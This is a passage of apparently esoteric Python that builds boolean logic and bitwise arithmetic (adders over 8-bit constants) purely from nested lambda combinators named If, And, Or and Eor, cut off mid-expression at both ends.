_(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___))) (lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)))))) (_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T)) (_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____)) ((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T)) (____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))))))(_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____)))) (_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F)) (___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____)))) (_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F)) (___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____)))) (_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))))))(_)(F)))(______)))))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(___)(____)))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(T)(T)(T)(T)(F)(F)(F)(F)) ((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)) (_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______) (_______)(________)))(T)(T)(F)(F)(T)(T)(F)(F))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(F)(F)(F)(F)(F)(T)(F)(F)) ((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)) (_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______) (_______)(________)))(T)(T)(F)(T)(F)(T)(F)(F))))((lambda _: lambda __: (lambda _: _(F)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____)))) (_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T)) (___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T)) ((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___) (_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))(lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((Or)((And)(_)(__))((And)((Eor)(_)(__))(___)))((Eor) ((Eor)(_)(__))(___)))))))(_)(__)(F)))(______)(_____)))((lambda _: lambda __: (lambda _: _(F))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F)) (_____))))(_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____)))) (_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T)) (___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T)) ((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___) (_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))(lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((Or)((And)(_)(__))((And)((Eor)(_)(__))(___)))((Eor) ((Eor)(_)(__))(___)))))))(_)(__)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____)))) (_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____)))) (_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T)) (___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____)))) (_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T)) (___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))))))(_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F)) ((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F)) ((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___))) (lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)))))) (_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T)) (_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____)) ((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T)) (____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))))))(_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____)))) (_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T)) (___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____)))) (_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T)) (___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____)))) (_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))))))(_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F)) ((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F)) ((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F)) ((lambda _: _(T))(____))))(_(__(T))(___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))))))(_)(F)))(______))))))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))(___)(____)))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____))) (_____)(______)(_______)(________)))(F)(T)(T)(F)(F)(F)(F)(T))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__) (___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(T)(F) (T)(F)(F)(F)(F)(T))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___) (_)(__))(_)(__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____) (______)(_______)(________)))(F)(F)(T)(F)(F)(T)(T)(F))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___) (____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(F)(T)(T)(T) (T)(T)(T)(T)))))))((lambda _: lambda __: (lambda _: _(F))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))(lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((Or)((And)(_)(__))((And)((Eor)(_)(__))(___)))((Eor) ((Eor)(_)(__))(___)))))))(_)(__)(F)))(___)((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T)) (___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T))) (_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T)))(_(__(F))(___(F))))(lambda _: lambda __: (Eor)(_) (__))))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___) (_)(__))(_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T)))(_(__(F))(___(F)))) ((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T)) (___(T)))(_(__(F))(___(F))))(lambda _: lambda __: (Eor)(_)(__))))))((lambda _: lambda __: (lambda _: _(F))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T)) (______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______)) ((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F)) (___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____))) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____)))) (_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T)) (___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T)) ((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))(lambda _: lambda __: 